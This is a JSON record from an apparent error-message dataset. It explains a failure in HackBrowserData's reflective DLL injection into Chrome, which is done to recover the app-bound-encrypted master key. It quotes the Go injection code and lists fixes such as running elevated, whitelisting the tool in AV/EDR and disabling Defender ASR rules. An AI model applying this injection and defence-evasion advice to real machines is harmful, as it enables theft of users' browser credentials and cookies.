{"record":{"id":"9405628041c88d45","repo":"moonD4rk/HackBrowserData","slug":"abe-inject-into-s-w","errorCode":null,"errorMessage":"abe: inject into %s: %w","messagePattern":"abe: inject into (.+?): %w","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"masterkey/abe_windows.go","lineNumber":61,"sourceCode":"\n\tpl, err := payload.Get(\"amd64\")\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"abe: %w\", err)\n\t}\n\n\texePath, err := winutil.ExecutablePath(browserKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"abe: %w\", err)\n\t}\n\n\tenv := map[string]string{\n\t\tenvEncKeyB64: base64.StdEncoding.EncodeToString(encKey),\n\t}\n\n\tinj := &injector.Reflective{}\n\tkey, err := inj.Inject(exePath, pl, env)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"abe: inject into %s: %w\", exePath, err)\n\t}\n\tif len(key) != 32 {\n\t\treturn nil, fmt.Errorf(\"abe: unexpected key length %d (want 32)\", len(key))\n\t}\n\tlog.Infof(\"abe: retrieved %s master key via reflective injection\", browserKey)\n\treturn key, nil\n}\n\nfunc loadEncryptedKey(localStatePath string) ([]byte, error) {\n\tif localStatePath == \"\" {\n\t\treturn nil, errNoABEKey\n\t}\n\tdata, err := os.ReadFile(localStatePath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"abe: read Local State: %w\", err)\n\t}\n\n\traw := gjson.GetBytes(data, \"os_crypt.app_bound_encrypted_key\")","sourceCodeStart":43,"sourceCodeEnd":79,"githubUrl":"https://github.com/moonD4rk/HackBrowserData/blob/0503d04d7a8d0379d060268a74f1b149e5a0aad5/masterkey/abe_windows.go#L43-L79","documentation":"ABERetriever.RetrieveKey wraps an injector.Reflective.Inject failure with \"abe: inject into %s: %w\", including the target browser executable path. The reflective DLL injection — which runs the ABE payload inside the browser process to call the system app-bound decryption — failed. This means the payload could not be written into, or executed within, the browser process, so the v20 Chrome master key cannot be recovered.","triggerScenarios":"Windows-only. RetrieveKey with payload and exePath resolved, but inj.Inject(exePath, pl, env) errors: browser process not running, insufficient privileges to open the browser process (PROCESS_CREATE_THREAD/VM_OPERATION denied), architecture mismatch, injection blocked by EDR/antivirus, or the payload crashed inside the target and never returned the key.","commonSituations":"EDR/AV (Defender ASR rules, third-party HIPS) blocking cross-process code injection; running the tool unelevated while the browser runs elevated or as another user; Chrome process exited between path lookup and injection; running on ARM64 Windows where the amd64 payload is incompatible.","solutions":["Ensure the target browser is currently running — injection requires a live process; launch Chrome first and re-run.","Run the tool elevated (or as the same user who owns the browser process) so OpenProcess with injection rights succeeds.","Add an exclusion/allow rule for the tool in AV/EDR software, or temporarily disable ASR 'Block process creations originating from...' style rules during research runs.","Confirm CPU architecture is amd64 — the payload is amd64-only and will fail on ARM64 Windows.","Retry: transient failures (browser updating/restarting mid-injection) commonly resolve on a second attempt."],"exampleFix":"// before\nkey, err := inj.Inject(exePath, pl, env)\nif err != nil {\n    return nil, fmt.Errorf(\"abe: inject into %s: %w\", exePath, err)\n}\n// after\nif !isProcessRunning(exePath) {\n    return nil, fmt.Errorf(\"abe: %s is not running; launch the browser before ABE retrieval\", exePath)\n}\nkey, err := inj.Inject(exePath, pl, env)\nif err != nil {\n    return nil, fmt.Errorf(\"abe: inject into %s: %w\", exePath, err)\n}","handlingStrategy":"retry","validationCode":"// verify the browser process is alive and we can open it before injecting\nexecPath, err := winutil.ExecutablePath(browserKey)\nif err != nil {\n    return fmt.Errorf(\"browser exe missing: %w\", err)\n}\n// optionally probe with OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) to fail fast on permissions","typeGuard":null,"tryCatchPattern":"// Go\nkey, err := retriever.RetrieveKey(hints)\nif err != nil {\n    if strings.Contains(err.Error(), \"inject into\") {\n        log.Warnf(\"injection blocked (EDR? not running? permissions?): %v\", err)\n        time.Sleep(time.Second)\n        key, err = retriever.RetrieveKey(hints) // one retry for transient races\n    }\n    if err != nil {\n        return nil, err\n    }\n}","preventionTips":["Start the browser before extraction — injection needs a live process","Run elevated or as the browser-owning user so OpenProcess grants injection rights","Whitelist the tool in AV/EDR (Defender ASR rules block reflective injection)","Use amd64 Windows; the ABE payload is not ARM64-compatible"],"tags":["windows","chrome-abe","dll-injection","app-bound-encryption","edr"],"backgroundTag":"unsupported-operation","analyzedSha":"0503d04d7a8d0379d060268a74f1b149e5a0aad5","analyzedAt":"2026-09-06T13:38:28.707Z","contentChangedAt":"2026-09-06T13:38:28.707Z","schemaVersion":2},"datasetVersion":"2026-09-14T05:17:10.506Z"}